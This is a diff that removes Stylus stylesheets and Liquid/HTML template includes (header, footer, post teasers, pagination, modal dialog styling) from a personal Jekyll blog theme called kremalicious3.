$headings-line-height = 1.1
|
|
||||||
$headings-color = $brand-dark
|
|
||||||
|
|
||||||
|
|
||||||
// Scaffolding
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$body-bg = #dfe8ef
|
|
||||||
$page-bg = $brand-light
|
|
||||||
|
|
||||||
|
|
||||||
// Links
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$link-color = $brand-cyan
|
|
||||||
$link-color-hover = lighten($link-color, 15%)
|
|
||||||
|
|
||||||
|
|
||||||
// Grid
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$gutter-space = $spacer
|
|
||||||
|
|
||||||
// Components spacing
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$spacer = ($font-size-base * $line-height)
|
|
||||||
|
|
||||||
$border-radius-base = 3px
|
|
||||||
$border-radius-small = $border-radius-base
|
|
||||||
$border-radius-large = $border-radius-base
|
|
||||||
|
|
||||||
$padding-base-vertical = 8px
|
|
||||||
$padding-base-horizontal = 12px
|
|
||||||
|
|
||||||
$padding-small-vertical = ($padding-base-vertical / 2)
|
|
||||||
$padding-small-horizontal = ($padding-base-horizontal / 2)
|
|
||||||
|
|
||||||
$padding-large-vertical = ($padding-base-vertical * 2)
|
|
||||||
$padding-large-horizontal = ($padding-base-horizontal * 2)
|
|
||||||
|
|
||||||
|
|
||||||
// Forms
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$input-bg = alpha(#fff, .85)
|
|
||||||
$input-bg-focus = #fff
|
|
||||||
$input-bg-disabled = $brand-grey-light
|
|
||||||
|
|
||||||
$input-font-size = $font-size-base
|
|
||||||
$input-font-weight = $font-weight-base
|
|
||||||
|
|
||||||
$input-color = $font-color-base
|
|
||||||
$input-color-placeholder = rgba(46, 79, 92, .3)
|
|
||||||
|
|
||||||
$input-border = $brand-grey-light
|
|
||||||
$input-border-radius = $border-radius-base
|
|
||||||
$input-border-focus = $brand-cyan
|
|
||||||
|
|
||||||
|
|
||||||
// Code
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$code-bg = #343642
|
|
||||||
$code-color = $brand-light
|
|
||||||
$kbd-bg = $code-bg
|
|
||||||
$kbd-color = $code-color
|
|
||||||
|
|
||||||
|
|
||||||
// Responsive breakpoints
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$screen-xs-min = 30em
|
|
||||||
$screen-sm-min = 40.625em
|
|
||||||
$screen-md-min = 60em
|
|
||||||
$screen-lg-min = 87.500em
|
|
||||||
|
|
||||||
$screen-xs = 'only screen and (min-width: 30em)'
|
|
||||||
$screen-sm = 'only screen and (min-width: 40.625em)'
|
|
||||||
$screen-md = 'only screen and (min-width: 60em)'
|
|
||||||
$screen-lg = 'only screen and (min-width: 87.500em)'
|
|
||||||
|
|
||||||
|
|
||||||
// High dpi media query
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$highDPI = 'print, (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi) '
|
|
||||||
$highDPI_3x = 'print, (-webkit-min-device-pixel-ratio: 3), (min-resolution: 344dpi) '
|
|
||||||
|
|
||||||
|
|
||||||
// Tooltips
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
$tooltip-color = #fff
|
|
||||||
$tooltip-bg = darken($brand-dark, 15%)
|
|
||||||
@ -1,121 +0,0 @@
|
|||||||
.vex,
|
|
||||||
.vex *,
|
|
||||||
.vex *:before,
|
|
||||||
.vex *:after
|
|
||||||
box-sizing: border-box
|
|
||||||
|
|
||||||
.vex
|
|
||||||
position: fixed
|
|
||||||
overflow: auto
|
|
||||||
-webkit-overflow-scrolling: touch
|
|
||||||
z-index: 1111
|
|
||||||
top: 0
|
|
||||||
right: 0
|
|
||||||
bottom: 0
|
|
||||||
left: 0
|
|
||||||
|
|
||||||
.vex-scrollbar-measure
|
|
||||||
position: absolute
|
|
||||||
top: -9999px
|
|
||||||
width: 50px
|
|
||||||
height: 50px
|
|
||||||
overflow: scroll
|
|
||||||
|
|
||||||
.vex-content
|
|
||||||
animation: vex-fadein .3s
|
|
||||||
background: #fff
|
|
||||||
|
|
||||||
.vex.vex-closing &
|
|
||||||
animation: vex-fadeout .2s
|
|
||||||
|
|
||||||
.vex-dialog-form
|
|
||||||
margin: 0 // Browser reset
|
|
||||||
|
|
||||||
.vex-dialog-button
|
|
||||||
text-rendering: optimizeLegibility
|
|
||||||
appearance: none
|
|
||||||
cursor: pointer
|
|
||||||
-webkit-tap-highlight-color: transparent
|
|
||||||
|
|
||||||
// Prevent background scrolling when vex is open
|
|
||||||
// https://github.com/HubSpot/vex/issues/18
|
|
||||||
body.vex-open
|
|
||||||
overflow: hidden
|
|
||||||
|
|
||||||
|
|
||||||
//
|
|
||||||
// Custom theme
|
|
||||||
//
|
|
||||||
.vex-theme-kremalicious
|
|
||||||
display: flex
|
|
||||||
align-items: center
|
|
||||||
justify-content: center
|
|
||||||
background: alpha($body-bg, .9)
|
|
||||||
backdrop-filter: blur(5px)
|
|
||||||
animation: vex-fadein .3s
|
|
||||||
|
|
||||||
.vex.vex-closing &
|
|
||||||
animation: vex-fadeout .3s
|
|
||||||
|
|
||||||
.vex-content
|
|
||||||
background: transparent
|
|
||||||
padding: 0
|
|
||||||
position: relative
|
|
||||||
width: 100%
|
|
||||||
max-width: $screen-xs-min
|
|
||||||
border-radius: $border-radius-base
|
|
||||||
border: 1px solid alpha($brand-grey-light, .4)
|
|
||||||
box-shadow: 0 5px 30px alpha($brand-grey-light, .2)
|
|
||||||
padding: 0 $spacer
|
|
||||||
|
|
||||||
.vex__title
|
|
||||||
@extend .h4
|
|
||||||
margin-top: ($spacer/2)
|
|
||||||
margin-left: -($spacer)
|
|
||||||
margin-right: -($spacer)
|
|
||||||
border-bottom: 1px solid alpha($brand-grey-light, .4)
|
|
||||||
padding-bottom: ($spacer/2)
|
|
||||||
|
|
||||||
.vex-dialog-buttons
|
|
||||||
margin-top: $spacer
|
|
||||||
border-top: 1px solid alpha($brand-grey-light, .4)
|
|
||||||
padding-top: ($spacer/2)
|
|
||||||
|
|
||||||
.vex-dialog-button
|
|
||||||
@extend .btn
|
|
||||||
|
|
||||||
.vex-dialog-button-primary
|
|
||||||
@extend .btn-primary
|
|
||||||
|
|
||||||
.vex-close
|
|
||||||
@extend .close
|
|
||||||
position: absolute
|
|
||||||
top: ($spacer/4)
|
|
||||||
right: ($spacer/2)
|
|
||||||
|
|
||||||
&:before
|
|
||||||
@extend .close
|
|
||||||
content: "\00D7" // ×
|
|
||||||
display: block
|
|
||||||
color: $brand-grey
|
|
||||||
font-weight: 500
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus
|
|
||||||
&:before
|
|
||||||
color: $link-color
|
|
||||||
|
|
||||||
//
|
|
||||||
// Overlay/content animations
|
|
||||||
//
|
|
||||||
@keyframes vex-fadein
|
|
||||||
0%
|
|
||||||
opacity: 0
|
|
||||||
100%
|
|
||||||
opacity: 1
|
|
||||||
|
|
||||||
@keyframes vex-fadeout
|
|
||||||
0%
|
|
||||||
opacity: 1
|
|
||||||
100%
|
|
||||||
opacity: 0
|
|
||||||
@ -1,67 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
//
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
// Normalize all the things
|
|
||||||
@import '../../../node_modules/normalize-css/normalize.css'
|
|
||||||
@import '../../../node_modules/normalize-opentype.css/normalize-opentype.css'
|
|
||||||
|
|
||||||
// Core variables and mixins
|
|
||||||
@import '_kremalicious/variables'
|
|
||||||
@import '_kremalicious/mixins'
|
|
||||||
|
|
||||||
// Core CSS
|
|
||||||
@import '_kremalicious/typography'
|
|
||||||
@import '_kremalicious/animations'
|
|
||||||
@import '_kremalicious/grid'
|
|
||||||
@import '_kremalicious/layout'
|
|
||||||
@import '_kremalicious/forms'
|
|
||||||
@import '_kremalicious/buttons'
|
|
||||||
@import '_kremalicious/icons'
|
|
||||||
@import '_kremalicious/media'
|
|
||||||
@import '_kremalicious/tables'
|
|
||||||
@import '_kremalicious/code'
|
|
||||||
@import '_kremalicious/syntax'
|
|
||||||
@import '_kremalicious/alerts'
|
|
||||||
@import '_kremalicious/vex'
|
|
||||||
|
|
||||||
// Content
|
|
||||||
@import '_kremalicious/content'
|
|
||||||
@import '_kremalicious/content-photo'
|
|
||||||
@import '_kremalicious/content-link'
|
|
||||||
@import '_kremalicious/content-featured'
|
|
||||||
@import '_kremalicious/content-related'
|
|
||||||
|
|
||||||
// Components
|
|
||||||
@import '_kremalicious/header'
|
|
||||||
@import '_kremalicious/navigation'
|
|
||||||
@import '_kremalicious/hamburger'
|
|
||||||
@import '_kremalicious/search'
|
|
||||||
@import '_kremalicious/tooltips'
|
|
||||||
@import '_kremalicious/footer'
|
|
||||||
@import '_kremalicious/actions'
|
|
||||||
@import '_kremalicious/tagcloud'
|
|
||||||
|
|
||||||
// Pages
|
|
||||||
@import '_page-404'
|
|
||||||
@import '_page-styleguide'
|
|
||||||
|
|
||||||
|
|
||||||
// Print
|
|
||||||
@import '_kremalicious/print'
|
|
||||||
|
|
||||||
.coinhive
|
|
||||||
position: fixed
|
|
||||||
bottom: 0
|
|
||||||
right: 0
|
|
||||||
z-index: 3
|
|
||||||
font-size: $font-size-mini
|
|
||||||
padding: ($spacer / 5) ($spacer / 2)
|
|
||||||
background: rgba($page-bg, .5)
|
|
||||||
border-top-left-radius: 4px
|
|
||||||
|
|
||||||
.coinhive__hashrate
|
|
||||||
opacity: .6
|
|
||||||
@ -1,23 +0,0 @@
|
|||||||
|
|
||||||
<aside class="actions">
|
|
||||||
<div class="grid grid--gutters grid--full grid-small--half">
|
|
||||||
<div class="grid__col">
|
|
||||||
<article class="action twitter">
|
|
||||||
<svg class="icon icon-twitter">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#twitter"></use>
|
|
||||||
</svg>
|
|
||||||
<h1 class="action__title">Have a comment?</h1>
|
|
||||||
<p class="action__text">Hit me up <a href="https://twitter.com/intent/tweet?text=@kremalicious&url={{ site.url }}{{ page.url }}">@{{ site.author.twitter }}</a></p>
|
|
||||||
</article>
|
|
||||||
</div>
|
|
||||||
<div class="grid__col">
|
|
||||||
<article class="action donate">
|
|
||||||
<svg class="icon icon-bitcoin">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#bitcoin"></use>
|
|
||||||
</svg>
|
|
||||||
<h1 class="action__title">Found something useful?</h1>
|
|
||||||
<p class="action__text">Say thanks <a href="#" class="js-vex-btc">with Bitcoins or Ether.</a></p>
|
|
||||||
</article>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</aside>
|
|
||||||
@ -1,108 +0,0 @@
|
|||||||
|
|
||||||
{% if post.layout == "link" %}
|
|
||||||
|
|
||||||
<article class="hentry format-link">
|
|
||||||
<header class="entry-header">
|
|
||||||
<h1 class="entry-title">
|
|
||||||
<a href="{{ post.linkurl }}" title="Go to source: {{ post.linkurl | remove:'http://' | remove:'https://' | remove:'www.' }}">
|
|
||||||
{{ post.title | titlecase }}
|
|
||||||
<svg class="icon icon-forward">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#forward"></use>
|
|
||||||
</svg>
|
|
||||||
<span class="linkurl">{{ post.linkurl | remove:'http://' | remove:'https://' | remove:'www.' | split:'/' | first }}</span>
|
|
||||||
</a>
|
|
||||||
</h1>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<section class="entry-content">
|
|
||||||
{{ post.content }}
|
|
||||||
<p>
|
|
||||||
<a class="more-link" href="{{ post.linkurl }}">Go to source
|
|
||||||
<svg class="icon icon-forward">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#forward"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
<a class="permalink-link" href="{{ post.url }}" data-toggle="tooltip" title="Permalink">
|
|
||||||
<svg class="icon icon-infinity">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#infinity"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
</p>
|
|
||||||
</section>
|
|
||||||
</article>
|
|
||||||
|
|
||||||
{% elsif post.layout == "photo" %}
|
|
||||||
|
|
||||||
<article class="hentry format-photo">
|
|
||||||
|
|
||||||
<a class="photo-link" href="{{ post.url }}">
|
|
||||||
<figure class="hentry__teaser hmedia">
|
|
||||||
|
|
||||||
{% include picture.html size='phototeaser' %}
|
|
||||||
|
|
||||||
<figcaption class="entry-title fn">{{ post.title | titlecase }}</figcaption>
|
|
||||||
</figure>
|
|
||||||
</a>
|
|
||||||
|
|
||||||
</article>
|
|
||||||
|
|
||||||
{% else %}
|
|
||||||
|
|
||||||
<article class="hentry format-post">
|
|
||||||
<header class="entry-header">
|
|
||||||
<h1 class="entry-title"><a href="{{ post.url }}">{{ post.title | titlecase }}</a></h1>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<section class="entry-content">
|
|
||||||
|
|
||||||
{% if post.image %}
|
|
||||||
<a class="hentry__teaser hentry__teaser--link" href="{{ post.url }}">
|
|
||||||
{% include picture.html %}
|
|
||||||
</a>
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
{% capture has_more %}{{ post.content | has_excerpt }}{% endcapture %}
|
|
||||||
|
|
||||||
{% unless post.categories contains "goodies" and page.path contains "goodies" %}
|
|
||||||
{{ post.excerpt }}
|
|
||||||
{% endunless %}
|
|
||||||
|
|
||||||
{% if post.categories contains "goodies" and page.path contains "goodies" %}
|
|
||||||
<footer class="goodie-actions grid grid--gutters grid--full grid-small--fit">
|
|
||||||
|
|
||||||
<p class="info grid__col">
|
|
||||||
<a class="btn icon icon-info" href="{{ post.url }}">
|
|
||||||
<svg class="icon icon-info-with-circle">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#info-with-circle"></use>
|
|
||||||
</svg>
|
|
||||||
Release Post
|
|
||||||
</a>
|
|
||||||
</p>
|
|
||||||
|
|
||||||
{% if post.download %}
|
|
||||||
<p class="download grid__col">
|
|
||||||
<a class="btn" href="/media/{{ post.download }}">
|
|
||||||
<svg class="icon icon-arrow-with-circle-down">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#arrow-with-circle-down"></use>
|
|
||||||
</svg>
|
|
||||||
Download <span>zip</span>
|
|
||||||
</a>
|
|
||||||
</p>
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
</footer>
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
{% unless page.path contains "goodies" %}
|
|
||||||
<a class="more-link" href="{{ post.url }}">
|
|
||||||
Continue reading
|
|
||||||
<svg class="icon icon-chevron-right">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#chevron-right"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
{% endunless %}
|
|
||||||
|
|
||||||
</section>
|
|
||||||
</article>
|
|
||||||
|
|
||||||
{% endif %}
|
|
||||||
@ -1,31 +0,0 @@
|
|||||||
<footer class="entry-meta">
|
|
||||||
|
|
||||||
<p class="byline author vcard source-org">
|
|
||||||
<span class="by">by</span> <a class="fn" rel="author" href="{{ site.author.uri }}">
|
|
||||||
{% if page.author %}
|
|
||||||
{{ page.author }}
|
|
||||||
{% else %}
|
|
||||||
{{ site.author.name }}
|
|
||||||
{% endif %}
|
|
||||||
</a>
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p class="time">
|
|
||||||
<time-ago class="pubdate" datetime="{{ page.date | date_to_xmlschema }}" pubdate{% if page.updated %} data-updated="true"{% endif %}>{{ page.date | date_to_string }}</time-ago>
|
|
||||||
|
|
||||||
{% if page.updated %} • updated <time-ago class="updated" datetime="{{ page.updated | date_to_xmlschema }}">{{ page.updated | date_to_string }}</time-ago>{% endif %}
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p class="categories">
|
|
||||||
{% for category in page.categories %}
|
|
||||||
<a class="category" href="/{{ category }}">{{ category }}</a>
|
|
||||||
{% endfor %}
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p class="tags">
|
|
||||||
{% for tag in page.tags %}
|
|
||||||
<a class="tag" href="/tag/{{ tag }}">{{ tag }}</a>
|
|
||||||
{% endfor %}
|
|
||||||
</p>
|
|
||||||
|
|
||||||
</footer>
|
|
||||||
@ -1,15 +0,0 @@
|
|||||||
|
|
||||||
<aside class="featured">
|
|
||||||
<div class="grid grid--fit grid-medium--gutters">
|
|
||||||
{% for post in site.posts %}
|
|
||||||
{% if post.featured %}
|
|
||||||
<article class="grid__col">
|
|
||||||
<a class="hentry__teaser featured-link" href="{{ post.url }}" title="{{ post.title }}">
|
|
||||||
{% include picture.html size='featured' %}
|
|
||||||
<h1 class="featured-title">{{ post.title | titlecase }}</h1>
|
|
||||||
</a>
|
|
||||||
</article>
|
|
||||||
{% endif %}
|
|
||||||
{% endfor %}
|
|
||||||
</div>
|
|
||||||
</aside>
|
|
||||||
@ -1,69 +0,0 @@
|
|||||||
<footer role="contentinfo" class="site__footer">
|
|
||||||
<div class="footer__content">
|
|
||||||
|
|
||||||
<div class="container">
|
|
||||||
|
|
||||||
<div class="vcard author">
|
|
||||||
<img class="avatar photo" src="/assets/img/avatar.jpeg" />
|
|
||||||
<p class="footer-description">Blog of designer & developer <a class="fn" rel="author" href="{{ site.author.uri }}">{{ site.author.name }}</a>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
<a class="link twitter" href="https://twitter.com/{{ site.author.twitter }}">
|
|
||||||
<svg class="icon icon-twitter">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#twitter"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
<a class="link github" href="https://github.com/{{ site.author.github }}">
|
|
||||||
<svg class="icon icon-github">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#github"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
<a class="link facebook" href="https://www.facebook.com/{{ site.author.facebook }}">
|
|
||||||
<svg class="icon icon-facebook">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#facebook"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<aside class="subscribe">
|
|
||||||
<h1 class="subscribe-title">Subscribe</h1>
|
|
||||||
<p>
|
|
||||||
<a class="link rss" href="http://kremalicious.com/feed.xml" title="RSS Feed">
|
|
||||||
<svg class="icon icon-rss">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#rss"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
<a class="link json" href="http://kremalicious.com/feed.json" title="JSON Feed">
|
|
||||||
<svg class="icon icon-jsonfeed">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#jsonfeed"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
</p>
|
|
||||||
</aside>
|
|
||||||
|
|
||||||
<section class="footer-copyright">
|
|
||||||
<p>© 2005–{{ site.time | date: "%Y" }} <a href="http://matthiaskretschmann.com" rel="me">Matthias Kretschmann</a></p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
<a href="https://github.com/kremalicious/kremalicious3/blob/master/_src/{{ page.path }}">
|
|
||||||
<svg class="icon icon-github">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#github"></use>
|
|
||||||
</svg>
|
|
||||||
View source
|
|
||||||
</a>
|
|
||||||
<a href="#" class="footer__btc js-vex-btc">
|
|
||||||
<svg class="icon icon-bitcoin">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#bitcoin"></use>
|
|
||||||
</svg>
|
|
||||||
<code>{{ site.author.bitcoin }}</code>
|
|
||||||
</a>
|
|
||||||
</p>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
</footer>
|
|
||||||
|
|
||||||
{% include scripts.html %}
|
|
||||||
@ -1,103 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<!--
|
|
||||||
___ ___
|
|
||||||
/__/\ /__/|
|
|
||||||
| |::\ | |:|
|
|
||||||
| |:|:\ | |:|
|
|
||||||
__|__|:|\:\ __| |:|
|
|
||||||
/__/::::| \:\ /__/\_|:|____
|
|
||||||
\ \:\~~\__\/ \ \:\/:::::/
|
|
||||||
\ \:\ \ \::/~~~~
|
|
||||||
\ \:\ \ \:\
|
|
||||||
\ \:\ \ \:\
|
|
||||||
\__\/ \__\/
|
|
||||||
|
|
||||||
YOU EARNED THE GEEK ACHIEVEMENT
|
|
||||||
FOR LOOKING AT MY SOURCE
|
|
||||||
|
|
||||||
But because of all the minimizing and caching
|
|
||||||
going on you better check out the code on
|
|
||||||
github
|
|
||||||
_____________________________________________
|
|
||||||
|
|
||||||
https://github.com/kremalicious/kremalicious3
|
|
||||||
|
|
||||||
_____________________________________________
|
|
||||||
-->
|
|
||||||
<html lang="en">
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8">
|
|
||||||
|
|
||||||
<title>
|
|
||||||
{% if paginator.previous_page %}
|
|
||||||
Page {{ paginator.page }} ¦ {{ site.name }}
|
|
||||||
{% elsif page.title %}
|
|
||||||
{{ page.title }} ¦ {{ site.name }}
|
|
||||||
{% else %}
|
|
||||||
{{ site.name }} ¦ {{ site.description }}
|
|
||||||
{% endif %}
|
|
||||||
</title>
|
|
||||||
|
|
||||||
{% if page.description %}
|
|
||||||
<meta name="description" content="{{ page.description }}">
|
|
||||||
{% elsif page.front_page %}
|
|
||||||
<meta name="description" content="{{ site.description }}">
|
|
||||||
{% else %}
|
|
||||||
<meta name="description" content="{{ page.excerpt | strip_html | strip_newlines }}" />
|
|
||||||
{% endif %}
|
|
||||||
<meta name="author" content="{% if page.author %}{{ page.author }}{% else %}{{ site.author.name }}{% endif %}">
|
|
||||||
|
|
||||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
|
||||||
<meta name="HandheldFriendly" content="True">
|
|
||||||
<meta name="MobileOptimized" content="320">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
||||||
<meta http-equiv="cleartype" content="on">
|
|
||||||
|
|
||||||
<link rel="stylesheet" href="/assets/css/kremalicious3.min.css">
|
|
||||||
{% if page.style %}
|
|
||||||
<link rel="stylesheet" href="/assets/css/{{ page.style }}">
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
<!-- Prevent search indexing for some pages -->
|
|
||||||
{% if page.sitemap == false %}
|
|
||||||
<meta name="robots" content="noindex,nofollow">
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
<!-- TypeKit -->
|
|
||||||
<link rel="preload" href="https://use.typekit.net/msu4qap.css" as="style" crossorigin>
|
|
||||||
<link rel="stylesheet" href="https://use.typekit.net/msu4qap.css">
|
|
||||||
|
|
||||||
<!-- Canonical URL -->
|
|
||||||
<link rel="canonical" href="{{ site.url}}{{ page.url | replace:'index.html','' }}">
|
|
||||||
|
|
||||||
<!-- Atom feed -->
|
|
||||||
<link href="{{ site.url }}/feed.xml" rel="alternate" type="application/atom+xml" title="{{ site.name }} posts feed" />
|
|
||||||
<!-- json feed -->
|
|
||||||
<link href="{{ site.url }}/feed.json" rel="alternate" type="application/json" title="{{ site.name }} posts feed" />
|
|
||||||
|
|
||||||
<!-- Apple -->
|
|
||||||
<meta name="apple-mobile-web-app-title" content="kremalicious">
|
|
||||||
|
|
||||||
<!-- Touch Icons -->
|
|
||||||
<link rel="apple-touch-icon" href="/assets/img/apple-touch-icon.png">
|
|
||||||
<link rel="icon" type="image/png" href="/assets/img/favicon-32x32.png" sizes="32x32">
|
|
||||||
<link rel="icon" type="image/png" href="/assets/img/favicon-96x96.png" sizes="96x96">
|
|
||||||
<link rel="icon" type="image/png" href="/assets/img/touch-icon-192x192.png" sizes="192x192">
|
|
||||||
<link rel="mask-icon" href="/assets/img/favicon-mask.svg" color="#015565">
|
|
||||||
<meta name="msapplication-TileImage" content="{{ site.url }}/assets/img/metro-tile.png"/>
|
|
||||||
<meta name="msapplication-TileColor" content="#015565"/>
|
|
||||||
<meta name="theme-color" content="#015565">
|
|
||||||
|
|
||||||
<!-- OpenGraph -->
|
|
||||||
{% include opengraph.html %}
|
|
||||||
|
|
||||||
<!-- Twitter Cards -->
|
|
||||||
{% include twittercards.html %}
|
|
||||||
|
|
||||||
<!-- Google Authorship -->
|
|
||||||
<link href="https://plus.google.com/+MatthiasKretschmann" rel="author"/>
|
|
||||||
|
|
||||||
<!-- https://cloudinary.com/documentation/responsive_images#automating_responsive_images_with_client_hints -->
|
|
||||||
<meta http-equiv="Accept-CH" content="DPR, Viewport-Width, Width">
|
|
||||||
|
|
||||||
</head>
|
|
||||||
@ -1,57 +0,0 @@
|
|||||||
|
|
||||||
<header role="banner" class="site__header">
|
|
||||||
<div class="header__content">
|
|
||||||
<div class="container">
|
|
||||||
|
|
||||||
<div class="grid grid--half">
|
|
||||||
|
|
||||||
<div class="grid__col">
|
|
||||||
<h1 class="header__title">
|
|
||||||
<a class="header__logo" href="/">kremalicious</a>
|
|
||||||
</h1>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<nav role="navigation" class="nav-main grid__col">
|
|
||||||
<button type="button" class="menu-btn">
|
|
||||||
<div class="hamburger">
|
|
||||||
<span></span>
|
|
||||||
<span></span>
|
|
||||||
<span></span>
|
|
||||||
</div>
|
|
||||||
</button>
|
|
||||||
</nav>
|
|
||||||
|
|
||||||
<section class="site-search">
|
|
||||||
<button type="button" class="search-btn">
|
|
||||||
<svg class="icon icon-search" role="img" aria-labelledby="title">
|
|
||||||
<title id="title">Search</title>
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#magnifying-glass"></use>
|
|
||||||
</svg>
|
|
||||||
</button>
|
|
||||||
<div class="search-area">
|
|
||||||
<input type="search" id="search-input" class="form-control input-search search-field" placeholder="Search everything">
|
|
||||||
<button class="close search-close">×</button>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<ul class="nav-popover grid grid--half grid-medium--third">
|
|
||||||
{% for category in site.categories %}
|
|
||||||
<li class="grid__col">
|
|
||||||
<a class="nav-link" href="/{{ category | first }}/">
|
|
||||||
{{ category | first }}
|
|
||||||
</a>
|
|
||||||
</li>
|
|
||||||
{% endfor %}
|
|
||||||
</ul>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<div id="search-popover" class="search-popover hide">
|
|
||||||
<div class="container">
|
|
||||||
<nav id="search-results" class="search-results"></nav>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
@ -1,43 +0,0 @@
|
|||||||
|
|
||||||
{% if paginator.total_pages > 1 %}
|
|
||||||
|
|
||||||
<nav class="paginator">
|
|
||||||
{% if paginator.previous_page %}
|
|
||||||
<a class="paginator__link"
|
|
||||||
{% if paginator.previous_page == 1 %}
|
|
||||||
href="/">
|
|
||||||
{% else %}
|
|
||||||
href="/page/{{paginator.previous_page}}">
|
|
||||||
{% endif %}
|
|
||||||
<svg class="icon icon-chevron-left">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#chevron-left"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
<a
|
|
||||||
{% if paginator.page == 1 %}
|
|
||||||
href="#" class="paginator__link active"
|
|
||||||
{% else %}
|
|
||||||
href="/" class="paginator__link"
|
|
||||||
{% endif %}
|
|
||||||
>1</a>
|
|
||||||
|
|
||||||
{% for count in (2..paginator.total_pages) %}
|
|
||||||
{% if count == paginator.page %}
|
|
||||||
<a href="#" class="paginator__link active">{{count}}</a>
|
|
||||||
{% else %}
|
|
||||||
<a class="paginator__link" href="/page/{{count}}">{{count}}</a>
|
|
||||||
{% endif %}
|
|
||||||
{% endfor %}
|
|
||||||
|
|
||||||
{% if paginator.next_page %}
|
|
||||||
<a class="paginator__link" href="/page/{{paginator.next_page}}">
|
|
||||||
<svg class="icon icon-chevron-right">
|
|
||||||
<use xlink:href="/assets/img/sprite.svg#chevron-right"></use>
|
|
||||||
</svg>
|
|
||||||
</a>
|
|
||||||
{% endif %}
|
|
||||||
</nav>
|
|
||||||
|
|
||||||
{% endif %}
|
|
||||||
@ -1,7 +0,0 @@
|
|||||||
<article class="grid__col">
|
|
||||||
|
|
||||||
<a class="photo-link" href="{{ post.url }}" title="{{ post.title }}">
|
|
||||||
{% include picture.html size='photothumb' %}
|
|
||||||
</a>
|
|
||||||
|
|
||||||
</article>
|
|
||||||
@ -1,27 +0,0 @@
|
|||||||
{% case include.size %}
|
|
||||||
|
|
||||||
{% when 'phototeaser' %}
|
|
||||||
{% assign pictureSize = 'w_940,h_700,c_fill,q_auto:good,f_auto' %}
|
|
||||||
{% assign pictureSizeRetina = 'w_1880,h_1400,c_fill,q_auto:good,f_auto' %}
|
|
||||||
{% when 'photothumb' %}
|
|
||||||
{% assign pictureSize = 'w_190,h_190,c_thumb,q_auto:good,f_auto' %}
|
|
||||||
{% assign pictureSizeRetina = 'w_380,h_380,c_thumb,q_auto:good,f_auto' %}
|
|
||||||
{% when 'featured' %}
|
|
||||||
{% assign pictureSize = 'w_275,h_100,c_fill,q_auto:good,f_auto' %}
|
|
||||||
{% assign pictureSizeRetina = 'w_550,h_200,c_fill,q_auto:good,f_auto' %}
|
|
||||||
{% else %}
|
|
||||||
{% assign pictureSize = 'w_940,f_auto,fl_keep_iptc' %}
|
|
||||||
{% assign pictureSizeRetina = 'w_1880,f_auto,fl_keep_iptc' %}
|
|
||||||
{% endcase %}
|
|
||||||
|
|
